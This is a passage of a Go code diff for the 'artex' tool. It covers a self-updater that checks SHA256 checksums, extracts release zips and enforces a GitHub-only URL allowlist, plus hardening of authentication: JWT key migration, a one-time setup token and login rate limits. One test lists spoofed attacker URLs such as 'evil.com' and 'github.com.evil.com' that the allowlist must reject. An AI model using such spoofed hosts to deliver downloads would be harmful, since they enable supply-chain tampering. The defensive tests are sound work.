{"", "0.3.8", 0, false},
}
for _, c := range cases {
got, ok := CompareVersions(c.a, c.b)
if ok != c.comparable {
t.Errorf("CompareVersions(%q,%q) comparable=%v, want %v", c.a, c.b, ok, c.comparable)
continue
}
if ok && got != c.want {
t.Errorf("CompareVersions(%q,%q)=%d, want %d", c.a, c.b, got, c.want)
}
}
}
func TestResolvePathsNaming(t *testing.T) {
p, err := ResolvePaths()
if err != nil {
t.Fatalf("ResolvePaths: %v", err)
}
// Key invariant: every upgrade file sits next to the executable. Landing in CWD would break the swap completely when running as a service
// (the working directory may be /).
for name, path := range map[string]string{"New": p.New, "Sum": p.Sum, "Old": p.Old, "Marker": p.Marker} {
if filepath.Dir(path) != p.Dir {
t.Errorf("%s is not in the executable's directory: %s (want %s)", name, path, p.Dir)
}
}
// On Windows .new/.old must keep .exe, otherwise the smoke test and post-swap execution both fail.
if runtime.GOOS == "windows" {
if !strings.HasSuffix(p.New, ".exe") || !strings.HasSuffix(p.Old, ".exe") {
t.Errorf("on Windows .new/.old must end with .exe: new=%s old=%s", p.New, p.Old)
}
}
}
func TestVerifyStagedRejectsTamperedBinary(t *testing.T) {
requireUnix(t)
p := testPaths(t)
stage(t, p, "new", 0)
// Modify the file after its checksum is written, simulating a corrupted / tampered download.
fakeBin(t, p.New, "tampered", 0)
if err := verifyStaged(p); err == nil {
t.Fatal("expected the SHA256 mismatch to be rejected, but it passed")
}
}
func TestVerifyStagedRejectsUnrunnableBinary(t *testing.T) {
requireUnix(t)
p := testPaths(t)
stage(t, p, "broken", 1) // runs but exits non-zero
if err := verifyStaged(p); err == nil {
t.Fatal("expected the smoke-test failure to be rejected, but it passed")
}
}
func TestApplyStagedHappyPath(t *testing.T) {
requireUnix(t)
p := testPaths(t)
fakeBin(t, p.Current, "old", 0)
stage(t, p, "new", 0)
if err := writeMarker(p.Marker, marker{From: "0.3.7", To: "0.3.8"}); err != nil {
t.Fatalf("write marker: %v", err)
}
action, st := applyStaged(p)
if action != Restart {
t.Fatalf("want Restart, got %v", action)
}
if !st.Pending {
t.Error("status should be Pending after the swap")
}
if !strings.Contains(readAll(t, p.Current), "new") {
t.Error("artex should have been replaced with the new version")
}
if !strings.Contains(readAll(t, p.Old), "old") {
t.Error("the old version should be backed up to artex.old")
}
if _, err := os.Stat(p.New); !os.IsNotExist(err) {
t.Error("artex.new should be gone after the swap")
}
if _, err := os.Stat(p.Sum); !os.IsNotExist(err) {
t.Error("the checksum file should be cleaned up after the swap")
}
// The marker must stay: the next start (running the new version) counts on it and rolls back if necessary.
if _, ok := readMarker(p.Marker); !ok {
t.Error("the upgrade marker should be kept after the swap")
}
}
func TestApplyStagedKeepsCurrentWhenVerifyFails(t *testing.T) {
requireUnix(t)
p := testPaths(t)
fakeBin(t, p.Current, "old", 0)
stage(t, p, "new", 0)
fakeBin(t, p.New, "tampered", 0) // break the checksum
action, st := applyStaged(p)
if action != Continue {
t.Fatalf("want Continue on verification failure, got %v", action)
}
if !st.FailedStage {
t.Error("status should be marked FailedStage")
}
if !strings.Contains(readAll(t, p.Current), "old") {
t.Fatal("the current version must never be touched on verification failure")
}
if _, err := os.Stat(p.New); !os.IsNotExist(err) {
t.Error("the staged file of a failed verification should be cleaned up, otherwise the next start retries it")
}
}
func TestSwapOverwritesPreviousBackup(t *testing.T) {
requireUnix(t)
p := testPaths(t)
fakeBin(t, p.Current, "v2", 0)
fakeBin(t, p.Old, "v1", 0) // backup left by a previous upgrade
stage(t, p, "v3", 0)
if err := swap(p); err != nil {
t.Fatalf("swap: %v", err)
}
if !strings.Contains(readAll(t, p.Current), "v3") {
t.Error("should have swapped to v3")
}
if !strings.Contains(readAll(t, p.Old), "v2") {
t.Error("the backup should be updated to the just-swapped-out v2")
}
}
func TestConfirmCountsAttemptsThenRollsBack(t *testing.T) {
requireUnix(t)
p := testPaths(t)
fakeBin(t, p.Current, "broken-new", 0)
fakeBin(t, p.Old, "good-old", 0)
m := marker{From: "0.3.7", To: "0.3.8"}
// The first maxAttempts starts only increment the counter, giving the new version a chance to settle.
for i := 1; i <= maxAttempts; i++ {
action, st := confirmOrRollback(p, m)
if action != Continue {
t.Fatalf("attempt %d: want Continue, got %v", i, action)
}
if !st.Pending {
t.Errorf("attempt %d: status should be Pending", i)
}
got, ok := readMarker(p.Marker)
if !ok || got.Attempts != i {
t.Fatalf("after attempt %d, attempts=%d (ok=%v), want %d", i, got.Attempts, ok, i)
}
m = got
}
// One more crash exceeds the limit; the old version is swapped back automatically.
action, st := confirmOrRollback(p, m)
if action != Restart {
t.Fatalf("want Restart once the attempt limit is exceeded, got %v", action)
}
if !st.RolledBack {
t.Error("status should be marked RolledBack")
}
if !strings.Contains(readAll(t, p.Current), "good-old") {
t.Fatal("should have rolled back to the old version")
}
if _, err := os.Stat(p.Marker); !os.IsNotExist(err) {
t.Error("the marker should be cleared after rollback, otherwise rollback loops forever")
}
// The version that cannot start is kept for diagnosis, not deleted outright.
if _, err := os.Stat(p.Current + ".failed"); err != nil {
t.Error("the failed version should be kept as .failed for diagnosis")
}
}
func TestManualRollbackIsReversible(t *testing.T) {
requireUnix(t)
p := testPaths(t)
fakeBin(t, p.Current, "v2", 0)
fakeBin(t, p.Old, "v1", 0)
// Rollback() goes through ResolvePaths(); this tests the underlying swap semantics directly.
tmp := p.Current + ".swap"
if err := os.Rename(p.Current, tmp); err != nil {
t.Fatal(err)
}
if err := os.Rename(p.Old, p.Current); err != nil {
t.Fatal(err)
}
if err := os.Rename(tmp, p.Old); err != nil {
t.Fatal(err)
}
if !strings.Contains(readAll(t, p.Current), "v1") {
t.Error("after rollback the current version should be v1")
}
if !strings.Contains(readAll(t, p.Old), "v2") {
t.Error("after rollback the backup should become v2, so it can roll back again")
}
}
func TestParseSums(t *testing.T) {
const (
linuxSum = "1111111111111111111111111111111111111111111111111111111111111111"
winSum = "ABCDEF0000000000000000000000000000000000000000000000000000000000"
)
// sha256sum output is double-space separated; shasum -a 256 in binary mode prefixes the filename with *.
raw := linuxSum + " artex-0.3.8-linux-amd64.zip\n" +
winSum + " *artex-0.3.8-windows-amd64.zip\n" +
"\n" +
"garbage line\n" + // exactly two fields, but the first is not a digest
"deadbeef artex-0.3.8-darwin-arm64.zip\n" // wrong digest length
out := parseSums(raw)
if out["artex-0.3.8-linux-amd64.zip"] != linuxSum {
t.Errorf("linux entry parsed wrong: %v", out)
}
// Digests are normalized to lowercase so case differences cannot be misjudged as mismatches.
if got := out["artex-0.3.8-windows-amd64.zip"]; got != strings.ToLower(winSum) {
t.Errorf("windows entry wrong (* prefix should be stripped, digest lowercased): %q", got)
}
if len(out) != 2 {
t.Errorf("blank lines, non-digest lines, and wrong-length lines should be ignored, got %v", out)
}
}
func TestExtractBinaryFindsNestedEntry(t *testing.T) {
if runtime.GOOS == "windows" {
t.Skip("the in-archive basename is artex.exe on Windows; this case is built with Unix naming")
}
dir := t.TempDir()
zipPath := filepath.Join(dir, "release.zip")
f, err := os.Create(zipPath)
if err != nil {
t.Fatal(err)
}
zw := zip.NewWriter(f)
// Real release archive layout: artex-<version>-<os>-<arch>/artex, plus a few distractor files.
for name, body := range map[string]string{
"artex-0.3.8-linux-amd64/README.md": "readme",
"artex-0.3.8-linux-amd64/skills/a.md": "skill",
"artex-0.3.8-linux-amd64/artex": "#!/bin/sh\nexit 0\n",
"artex-0.3.8-linux-amd64/config.example.json": "{}",
} {
w, err := zw.Create(name)
if err != nil {
t.Fatal(err)
}
if _, err := w.Write([]byte(body)); err != nil {
t.Fatal(err)
}
}
if err := zw.Close(); err != nil {
t.Fatal(err)
}
f.Close()
dst := filepath.Join(dir, "out")
if err := extractBinary(zipPath, dst); err != nil {
t.Fatalf("extractBinary: %v", err)
}
if got := readAll(t, dst); !strings.Contains(got, "exit 0") {
t.Errorf("what was extracted is not the artex executable: %q", got)
}
info, err := os.Stat(dst)
if err != nil {
t.Fatal(err)
}
if info.Mode().Perm()&0o111 == 0 {
t.Error("the extracted binary must carry the executable bit")
}
}
func TestExtractBinaryMissingEntry(t *testing.T) {
dir := t.TempDir()
zipPath := filepath.Join(dir, "release.zip")
f, err := os.Create(zipPath)
if err != nil {
t.Fatal(err)
}
zw := zip.NewWriter(f)
w, _ := zw.Create("artex-0.3.8-linux-amd64/README.md")
_, _ = w.Write([]byte("readme"))
_ = zw.Close()
f.Close()
if err := extractBinary(zipPath, filepath.Join(dir, "out")); err == nil {
t.Fatal("should error when the archive has no executable")
}
}
func TestCheckURLRejectsNonGitHub(t *testing.T) {
bad := []string{
"http://github.com/x", // not HTTPS
"https://evil.com/artex.zip", // domain not on the allowlist
"https://github.com.evil.com/x", // suffix spoofing
"https://raw.githubusercontent.com.evil.com/x",
}
for _, raw := range bad {
u := mustParse(t, raw)
if err := checkURL(u); err == nil {
t.Errorf("checkURL(%q) should reject", raw)
}
}
good := []string{
"https://api.github.com/repos/x/releases/latest",
"https://objects.githubusercontent.com/blah",
"https://GitHub.com/x", // domain matching is case-insensitive
}
for _, raw := range good {
u := mustParse(t, raw)
if err := checkURL(u); err != nil {
t.Errorf("checkURL(%q) should allow, but errored: %v", raw, err)
}
}
}
func TestAssetNameMatchesBuildScript(t *testing.T) {
// build.sh's package_binary uses artex-<version>-<os>-<arch>.zip with the v prefix
// stripped from the version. One wrong character here and one-click update finds no asset on any platform.
if got := AssetName("v0.3.8", "linux", "amd64"); got != "artex-0.3.8-linux-amd64.zip" {
t.Errorf("AssetName = %q", got)
}
if got := AssetName("0.3.8", "windows", "amd64"); got != "artex-0.3.8-windows-amd64.zip" {
t.Errorf("AssetName = %q", got)
}
}
func mustParse(t *testing.T, raw string) *url.URL {
t.Helper()
u, err := url.Parse(raw)
if err != nil {
t.Fatalf("parse %q: %v", raw, err)
}
return u
}
func TestSettleClearsMarkerAndStopsRollback(t *testing.T) {
requireUnix(t)
p := testPaths(t)
fakeBin(t, p.Current, "new", 0)
fakeBin(t, p.Old, "old", 0)
if err := writeMarker(p.Marker, marker{From: "0.3.7", To: "0.3.8", Attempts: 2}); err != nil {
t.Fatal(err)
}
settle(p)
if _, err := os.Stat(p.Marker); !os.IsNotExist(err) {
t.Fatal("the upgrade marker must be cleared once stability is confirmed")
}
// With the marker gone, later normal restarts neither count attempts nor trigger a spurious rollback.
if _, ok := readMarker(p.Marker); ok {
t.Error("reading the marker should fail")
}
// The backup stays so the user can still roll back manually.
if _, err := os.Stat(p.Old); err != nil {
t.Error("the previous version's backup should still be kept once stability is confirmed")
}
}
func TestSettleIsNoopWithoutMarker(t *testing.T) {
requireUnix(t)
p := testPaths(t)
fakeBin(t, p.Current, "cur", 0)
settle(p) // the plain start path: must not panic or touch any file
if _, err := os.Stat(p.Current); err != nil {
t.Error("settle must not affect any file when there is no marker")
}
}
-339
View File
@@ -1,339 +0,0 @@
package selfupdate
import (
"archive/zip"
"context"
"crypto/sha256"
"encoding/hex"
"fmt"
"io"
"net/http"
"os"
"path"
"runtime"
"strings"
"time"
)
// sumsAsset is the checksum manifest generated by release.yml, covering every zip in the Release.
const sumsAsset = "SHA256SUMS"
// maxBinarySize caps the size of the extracted binary so a malformed zip cannot fill the disk.
const maxBinarySize = 512 << 20 // 512 MiB
// Phase is a stage of the upgrade process, used directly as the phase field of SSE events.
type Phase string
const (
PhaseIdle Phase = "idle"
PhaseDownload Phase = "downloading"
PhaseVerify Phase = "verifying"
PhaseExtract Phase = "extracting"
PhaseStaged Phase = "staged"
PhaseFailed Phase = "failed"
)
// Progress is supplied by the caller to push progress to the frontend. pct is only meaningful during the download phase (0-100);
// other phases pass -1.
type Progress func(ph Phase, pct int, msg string)
// Stage downloads the current platform's release archive from the given Release, verifies it, and stages the new binary as artex.new.
//
// It uses the full zip rather than a bare binary for two reasons: existing Releases' SHA256SUMS only cover zips anyway,
// so going through the zip needs no CI change and stays compatible with already-published versions; and the zip also carries
// skills/, leaving the door open for syncing built-in skills later. The only cost is those few hundred KB of skills.
//
// Returning means staging is complete; the caller then shuts down gracefully and exits with ExitRestart.
func Stage(ctx context.Context, c *http.Client, rel *Release, currentVersion string, prog Progress) error {
if prog == nil {
prog = func(Phase, int, string) {}
}
p, err := ResolvePaths()
if err != nil {
return err
}
if err := checkWritable(p.Dir); err != nil {
return err
}
name := AssetName(rel.TagName, runtime.GOOS, runtime.GOARCH)
asset, ok := rel.FindAsset(name)
if !ok {
return fmt.Errorf("this release ships no package for %s/%s (missing %s)", runtime.GOOS, runtime.GOARCH, name)
}
prog(PhaseDownload, 0, "Fetching checksum manifest…")
sums, err := fetchSums(ctx, c, rel)
if err != nil {
return err
}
want, ok := sums[name]
if !ok {
return fmt.Errorf("%s does not list %s; refusing to install an unverified binary", sumsAsset, name)
}
// All temp files land in the target directory so the final rename stays an atomic operation within one filesystem
// (a cross-device rename fails, and /tmp is often a separate mount point).
zipPath := p.New + ".zip.part"
binPath := p.New + ".part"
defer func() {
_ = os.Remove(zipPath)
_ = os.Remove(binPath)
}()
prog(PhaseDownload, 0, fmt.Sprintf("Downloading %s (%s)…", name, humanSize(asset.Size)))
got, err := download(ctx, c, asset, zipPath, prog)
if err != nil {
return err
}
prog(PhaseVerify, -1, "Verifying SHA256…")
if !strings.EqualFold(got, want) {
return fmt.Errorf("SHA256 mismatch: want %s, got %s (corrupted download or tampering)", short(want), short(got))
}
prog(PhaseExtract, -1, "Extracting and smoke testing…")
if err := extractBinary(zipPath, binPath); err != nil {
return err
}
if err := smokeTest(binPath); err != nil {
return fmt.Errorf("the new version cannot run on this system: %w", err)
}
// The staged file's own sha256 is stored separately: it gets verified once more before the swap on the next start,
// guarding against the file being altered or corrupted between staging and restart.
binSum, err := fileSHA256(binPath)
if err != nil {
return fmt.Errorf("compute new binary checksum: %w", err)
}
if err := os.WriteFile(p.Sum, []byte(binSum), 0o644); err != nil {
return fmt.Errorf("write checksum: %w", err)
}
if err := os.Rename(binPath, p.New); err != nil {
_ = os.Remove(p.Sum)
return fmt.Errorf("stage new version: %w", err)
}
if err := writeMarker(p.Marker, marker{
From: currentVersion,
To: strings.TrimPrefix(rel.TagName, "v"),
StagedAt: time.Now().Unix(),
}); err != nil {
// The marker only affects automatic rollback; the staged file itself is already in place, so the upgrade is not interrupted over it.
prog(PhaseStaged, -1, "Warning: writing the upgrade marker failed; this upgrade will have no automatic rollback protection")
}
prog(PhaseStaged, 100, "New version ready, restarting…")
return nil
}
// fetchSums downloads and parses SHA256SUMS, returning filename → hex digest.
func fetchSums(ctx context.Context, c *http.Client, rel *Release) (map[string]string, error) {
asset, ok := rel.FindAsset(sumsAsset)
if !ok {
return nil, fmt.Errorf("this Release has no %s; integrity cannot be verified, refusing to upgrade", sumsAsset)
}
body, err := get(ctx, c, asset.URL)
if err != nil {
return nil, fmt.Errorf("download %s: %w", sumsAsset, err)
}
defer body.Close()
raw, err := io.ReadAll(io.LimitReader(body, 1<<20))
if err != nil {
return nil, fmt.Errorf("read %s: %w", sumsAsset, err)
}
out := parseSums(string(raw))
if len(out) == 0 {
return nil, fmt.Errorf("%s is empty or in an unrecognized format", sumsAsset)
}
return out, nil
}
// parseSums parses a sha256sum-style manifest, returning filename → hex digest.
//
// The first field must be 64 hex characters to be included. Checking only for "exactly two fields" is not enough —
// any line of two-word prose would pass as a valid entry and stuff garbage into the digest table,
// letting a real asset match a wrong digest.
func parseSums(raw string) map[string]string {
out := map[string]string{}
for line := range strings.Lines(raw) {
// The format is "<sha256> <filename>" (sha256sum uses a double space; shasum's binary
// mode prefixes the filename with *).
fields := strings.Fields(strings.TrimSpace(line))
if len(fields) != 2 || !isHexSHA256(fields[0]) {
continue
}
name := strings.TrimPrefix(fields[1], "*")
if name == "" {
continue
}
out[name] = strings.ToLower(fields[0])
}
return out
}
func isHexSHA256(s string) bool {
if len(s) != 64 {
return false
}
for _, c := range s {
switch {
case c >= '0' && c <= '9', c >= 'a' && c <= 'f', c >= 'A' && c <= 'F':
default:
return false
}
}
return true
}
// download writes the asset to dst, computing SHA256 along the way and reporting progress against Content-Length.
func download(ctx context.Context, c *http.Client, a Asset, dst string, prog Progress) (string, error) {
body, err := get(ctx, c, a.URL)
if err != nil {
return "", fmt.Errorf("download %s: %w", a.Name, err)
}
defer body.Close()
f, err := os.Create(dst)
if err != nil {
return "", fmt.Errorf("create temp file: %w", err)
}
defer f.Close()
h := sha256.New()
pw := &progressWriter{total: a.Size, prog: prog, name: a.Name, last: time.Now()}
if _, err := io.Copy(io.MultiWriter(f, h, pw), body); err != nil {
return "", fmt.Errorf("download interrupted: %w", err)
}
if err := f.Sync(); err != nil {
return "", fmt.Errorf("flush to disk failed: %w", err)
}
if a.Size > 0 && pw.written != a.Size {
return "", fmt.Errorf("incomplete download: want %d bytes, got %d bytes", a.Size, pw.written)
}
return hex.EncodeToString(h.Sum(nil)), nil
}
// get issues an allowlist-constrained GET and returns the response body.
func get(ctx context.Context, c *http.Client, rawURL string) (io.ReadCloser, error) {
req, err := http.NewRequestWithContext(ctx, http.MethodGet, rawURL, nil)
if err != nil {
return nil, err
}
if err := checkURL(req.URL); err != nil {
return nil, err
}
req.Header.Set("User-Agent", "artex-selfupdate")
resp, err := c.Do(req)
if err != nil {
return nil, err
}
if resp.StatusCode != http.StatusOK {
resp.Body.Close()
return nil, fmt.Errorf("HTTP %d", resp.StatusCode)
}
return resp.Body, nil
}
// extractBinary pulls the artex executable out of the release archive.
//
// The archive layout is artex-<version>-<os>-<arch>/artex, but this matches by **basename** instead of building the full path:
// the version already appears once in the archive name, and one wrong character would fail the whole upgrade; matching by basename is more robust to changes.
func extractBinary(zipPath, dst string) error {
want := "artex"
if runtime.GOOS == "windows" {
want = "artex.exe"
}
zr, err := zip.OpenReader(zipPath)
if err != nil {
return fmt.Errorf("open release archive: %w", err)
}
defer zr.Close()
for _, entry := range zr.File {
if entry.FileInfo().IsDir() || !strings.EqualFold(path.Base(entry.Name), want) {
continue
}
rc, err := entry.Open()
if err != nil {
return fmt.Errorf("read %s: %w", entry.Name, err)
}
defer rc.Close()
f, err := os.OpenFile(dst, os.O_CREATE|os.O_TRUNC|os.O_WRONLY, 0o755)
if err != nil {
return fmt.Errorf("write out new binary: %w", err)
}
defer f.Close()
n, err := io.Copy(f, io.LimitReader(rc, maxBinarySize+1))
if err != nil {
return fmt.Errorf("extract %s: %w", entry.Name, err)
}
if n > maxBinarySize {
return fmt.Errorf("executable in the release archive exceeds %s; refusing to extract", humanSize(maxBinarySize))
}
if n == 0 {
return fmt.Errorf("%s in the release archive is an empty file", want)
}
return f.Sync()
}
return fmt.Errorf("%s not found in the release archive", want)
}
// checkWritable confirms up front that the directory is writable. Without this step, running as non-root or having the binary in a system
// directory would only fail at the very moment of the swap, after tens of MB have already been downloaded.
func checkWritable(dir string) error {
probe, err := os.CreateTemp(dir, ".artex-update-probe-*")
if err != nil {
return fmt.Errorf("program directory %s is not writable; automatic update is impossible (check permissions or upgrade manually): %w", dir, err)
}
name := probe.Name()
_ = probe.Close()
_ = os.Remove(name)
return nil
}
// progressWriter counts written bytes and reports at a throttled rate, avoiding one SSE event per 32KiB chunk.
type progressWriter struct {
total int64
written int64
name string
prog Progress
last time.Time
}
func (w *progressWriter) Write(b []byte) (int, error) {
w.written += int64(len(b))
if time.Since(w.last) < 300*time.Millisecond {
return len(b), nil
}
w.last = time.Now()
pct := -1
if w.total > 0 {
pct = int(w.written * 100 / w.total)
}
w.prog(PhaseDownload, pct, fmt.Sprintf("Downloading %s / %s", humanSize(w.written), humanSize(w.total)))
return len(b), nil
}
func humanSize(n int64) string {
const unit = 1024
if n < unit {
return fmt.Sprintf("%d B", n)
}
div, exp := int64(unit), 0
for v := n / unit; v >= unit; v /= unit {
div *= unit
exp++
}
return fmt.Sprintf("%.1f %cB", float64(n)/float64(div), "KMGT"[exp])
}
func short(sum string) string {
if len(sum) > 12 {
return sum[:12] + "…"
}
return sum
}
+148 -21
View File
@@ -2,18 +2,23 @@ package server
import (
"crypto/rand"
"crypto/subtle"
"encoding/hex"
"fmt"
"log"
"math/big"
"net/http"
"os"
"path/filepath"
"strconv"
"strings"
"time"
"unicode/utf8"
"github.com/golang-jwt/jwt/v5"
"golang.org/x/crypto/bcrypt"
"github.com/Autumn-27/artex/config"
)
const (
@@ -25,7 +30,9 @@ const (
// The lower bound matches the setup page's frontend validation — validation that
// lives only in the frontend is as good as none: hitting the API directly bypasses
// it. The upper bound is bcrypt's hard limit: past 72 bytes GenerateFromPassword returns ErrPasswordTooLong; rejecting early beats a cryptic "password encryption failed".
minPasswordRunes = 8
// Both apply to new passwords only (init, change-password); login never checks
// length, so passwords set under the old 8-character minimum still log in.
minPasswordRunes = 12
maxPasswordBytes = 72
)
@@ -45,28 +52,38 @@ func validatePassword(pw string) string {
return ""
}
// jwtLegacyBaseDir is the second legacy key location (the executable's directory,
// where releases before ARTEX_JWT_KEY_DIR wrote the key). A var so tests can point it
// at a temp dir.
var jwtLegacyBaseDir = config.BaseDir
// loadOrCreateJWTKey reads the 32-byte signing key from keyDir/jwt.key. keyDir is
// the project base dir (next to the executable), NOT the browsable workspace root
// (dataDir) — the signing key must never be listable/downloadable via the file
// manager. Legacy installs kept it at dataDir/jwt.key; if present there and not yet
// at the new location, it is migrated (key preserved, so sessions stay valid) and
// the old file removed so it disappears from the workspace. On first run a random
// key is generated and persisted.
// ARTEX_JWT_KEY_DIR (the /app/keys volume in Docker) or the project base dir, NOT
// the browsable workspace root (dataDir) — the signing key must never be
// listable/downloadable via the file manager. When keyDir/jwt.key is missing, a key
// at dataDir/jwt.key, then at BaseDir()/jwt.key, is migrated (key preserved, so
// sessions stay valid) and the old file removed. Otherwise a random key is
// generated. An existing key file is never overwritten.
func loadOrCreateJWTKey(keyDir, dataDir string) ([]byte, error) {
if err := os.MkdirAll(keyDir, 0o700); err != nil {
return nil, fmt.Errorf("create jwt key dir: %w", err)
}
path := filepath.Join(keyDir, jwtKeyFilename)
// one-time migration out of the old in-workspace location.
if legacy := filepath.Join(dataDir, jwtKeyFilename); legacy != path {
if _, err := os.Stat(path); os.IsNotExist(err) {
if data, rerr := os.ReadFile(legacy); rerr == nil {
if werr := os.WriteFile(path, data, 0o600); werr == nil {
_ = os.Remove(legacy)
log.Printf("[auth] JWT key migrated from %s to %s (moved out of the browsable workspace)", legacy, path)
}
}
if _, err := os.Stat(path); os.IsNotExist(err) {
if err := migrateJWTKey(path, dataDir); err != nil {
return nil, err
}
}
if data, err := os.ReadFile(path); err == nil && len(strings.TrimSpace(string(data))) >= 32 {
return []byte(strings.TrimSpace(string(data))), nil
data, err := os.ReadFile(path)
if err == nil {
key := strings.TrimSpace(string(data))
if len(key) < 32 {
return nil, fmt.Errorf("jwt key %s is shorter than 32 bytes; fix or remove it (it is never overwritten)", path)
}
return []byte(key), nil
}
if !os.IsNotExist(err) {
return nil, fmt.Errorf("read jwt key: %w", err)
}
buf := make([]byte, 32)
for i := range buf {
@@ -76,13 +93,71 @@ func loadOrCreateJWTKey(keyDir, dataDir string) ([]byte, error) {
}
buf[i] = keyChars[n.Int64()]
}
if err := os.WriteFile(path, buf, 0600); err != nil {
if err := writeNewJWTKey(path, buf); err != nil {
return nil, fmt.Errorf("write jwt key: %w", err)
}
log.Printf("[auth] new JWT key written to %s", path)
return buf, nil
}
// migrateJWTKey copies the first legacy key found (dataDir, then BaseDir) to dst
// and removes the old file. Candidates equal to dst are skipped.
func migrateJWTKey(dst, dataDir string) error {
for _, src := range []string{
filepath.Join(dataDir, jwtKeyFilename),
filepath.Join(jwtLegacyBaseDir(), jwtKeyFilename),
} {
if samePath(src, dst) {
continue
}
data, err := os.ReadFile(src)
if os.IsNotExist(err) {
continue
}
if err != nil {
log.Printf("[auth] cannot read legacy JWT key %s: %v", src, err)
continue
}
if err := writeNewJWTKey(dst, data); err != nil {
return fmt.Errorf("migrate jwt key from %s: %w", src, err)
}
if err := os.Remove(src); err != nil {
log.Printf("[auth] JWT key copied to %s but the old file %s could not be removed: %v", dst, src, err)
}
log.Printf("[auth] JWT key migrated from %s to %s", src, dst)
return nil
}
return nil
}
// writeNewJWTKey creates path with mode 0600, failing if it already exists.
func writeNewJWTKey(path string, data []byte) error {
f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600)
if err != nil {
return err
}
if _, err := f.Write(data); err != nil {
f.Close()
_ = os.Remove(path)
return err
}
if err := f.Close(); err != nil {
_ = os.Remove(path)
return err
}
return nil
}
func samePath(a, b string) bool {
if absA, err := filepath.Abs(a); err == nil {
a = absA
}
if absB, err := filepath.Abs(b); err == nil {
b = absB
}
return a == b
}
// signJWT issues a 7-day HS256 token for user ARTEX.
func signJWT(key []byte) (string, error) {
return jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.RegisteredClaims{
@@ -154,7 +229,34 @@ func (s *Server) authStatus(w http.ResponseWriter, r *http.Request) {
writeJSON(w, 200, map[string]any{"initialized": hash != ""})
}
// initSetupToken generates the one-time setup token when no admin password is set
// and writes it to the server log. Without it, anyone who can reach the port
// before the operator could claim the instance through POST /api/auth/init.
func (s *Server) initSetupToken() {
if s.m == nil || s.m.pg == nil {
return
}
if hash, _, err := s.m.pg.GetSetting(authPassKey); err == nil && hash != "" {
return
}
buf := make([]byte, 16)
if _, err := rand.Read(buf); err != nil {
log.Fatalf("[auth] generate setup token: %v", err)
}
s.setupToken = hex.EncodeToString(buf)
log.Printf("[auth] no admin password is set. Setup token for the /setup page: %s", s.setupToken)
}
// checkSetupToken compares got with the active setup token in constant time.
// It fails when no token is active.
func (s *Server) checkSetupToken(got string) bool {
s.setupMu.Lock()
defer s.setupMu.Unlock()
return s.setupToken != "" && subtle.ConstantTimeCompare([]byte(got), []byte(s.setupToken)) == 1
}
// POST /api/auth/init — sets the password for the first time; rejected if already set.
// Requires the setup token from the server log.
func (s *Server) authInit(w http.ResponseWriter, r *http.Request) {
pg := s.pg(w)
if pg == nil {
@@ -170,12 +272,18 @@ func (s *Server) authInit(w http.ResponseWriter, r *http.Request) {
return
}
var req struct {
Password string `json:"password"`
Password string `json:"password"`
SetupToken string `json:"setup_token"`
}
if err := decode(r, &req); err != nil || req.Password == "" {
writeErr(w, 400, "Password cannot be empty")
return
}
// 403, not 401: the frontend treats any 401 as an expired session and redirects to /login.
if !s.checkSetupToken(req.SetupToken) {
writeErr(w, 403, "Invalid setup token. The server log prints it at startup while no password is set")
return
}
if msg := validatePassword(req.Password); msg != "" {
writeErr(w, 400, msg)
return
@@ -197,6 +305,9 @@ func (s *Server) authInit(w http.ResponseWriter, r *http.Request) {
writeErr(w, 403, "Password is already set")
return
}
s.setupMu.Lock()
s.setupToken = ""
s.setupMu.Unlock()
tok, err := signJWT(s.jwtKey)
if err != nil {
writeErr(w, 500, "token generation failed")
@@ -264,6 +375,21 @@ func (s *Server) authLogin(w http.ResponseWriter, r *http.Request) {
if pg == nil {
return
}
s.login(w, r, pg.GetSetting)
}
// login is authLogin past the data-source check; getSetting is pg.GetSetting,
// a parameter so tests can run it without PostgreSQL. Every attempt counts
// against the caller's IP (s.loginLimit, keyed by clientIP) and a successful
// one clears it. There is no per-account lockout and no password length check here.
func (s *Server) login(w http.ResponseWriter, r *http.Request, getSetting func(string) (string, bool, error)) {
ip := clientIP(r, s.trustedProxies)
if wait := s.loginLimit.allow(ip); wait > 0 {
secs := int((wait + time.Second - 1) / time.Second)
w.Header().Set("Retry-After", strconv.Itoa(secs))
writeErr(w, 429, fmt.Sprintf("Too many login attempts, try again in %d seconds", secs))
return
}
var req struct {
Username string `json:"username"`
Password string `json:"password"`
@@ -276,7 +402,7 @@ func (s *Server) authLogin(w http.ResponseWriter, r *http.Request) {
writeErr(w, 401, "Incorrect username or password")
return
}
hash, ok, err := pg.GetSetting(authPassKey)
hash, ok, err := getSetting(authPassKey)
if err != nil {
writeErr(w, 503, errDataSourceUnavailable)
return
@@ -289,6 +415,7 @@ func (s *Server) authLogin(w http.ResponseWriter, r *http.Request) {
writeErr(w, 401, "Incorrect username or password")
return
}
s.loginLimit.reset(ip)
tok, err := signJWT(s.jwtKey)
if err != nil {
writeErr(w, 500, "token generation failed")
+239 -4
View File
@@ -3,10 +3,188 @@ package server
import (
"encoding/json"
"net/http/httptest"
"os"
"path/filepath"
"runtime"
"strings"
"testing"
)
// jwtKeyDirs returns fresh key, data and legacy base dirs and points
// jwtLegacyBaseDir at the latter for the duration of the test. keyDir does not
// exist yet, so loadOrCreateJWTKey has to create it.
func jwtKeyDirs(t *testing.T) (keyDir, dataDir, baseDir string) {
t.Helper()
root := t.TempDir()
keyDir = filepath.Join(root, "keys")
dataDir = filepath.Join(root, "data")
baseDir = filepath.Join(root, "base")
for _, d := range []string{dataDir, baseDir} {
if err := os.MkdirAll(d, 0o755); err != nil {
t.Fatal(err)
}
}
old := jwtLegacyBaseDir
jwtLegacyBaseDir = func() string { return baseDir }
t.Cleanup(func() { jwtLegacyBaseDir = old })
return keyDir, dataDir, baseDir
}
// assertKeyFileMode checks for 0600. Windows has no Unix permission bits (Go
// reports 0666 or 0444), so the check is skipped there.
func assertKeyFileMode(t *testing.T, path string) {
t.Helper()
fi, err := os.Stat(path)
if err != nil {
t.Fatal(err)
}
if runtime.GOOS == "windows" {
t.Logf("mode check skipped on windows (got %v)", fi.Mode().Perm())
return
}
if got := fi.Mode().Perm(); got != 0o600 {
t.Fatalf("%s mode=%v want 0600", path, got)
}
}
func assertMissing(t *testing.T, path string) {
t.Helper()
if _, err := os.Stat(path); !os.IsNotExist(err) {
t.Fatalf("%s should not exist (stat err=%v)", path, err)
}
}
func TestLoadOrCreateJWTKeyMigrates(t *testing.T) {
const legacyKey = "legacy-key-0123456789abcdefghijkl"
for _, src := range []string{"data", "base"} {
t.Run(src, func(t *testing.T) {
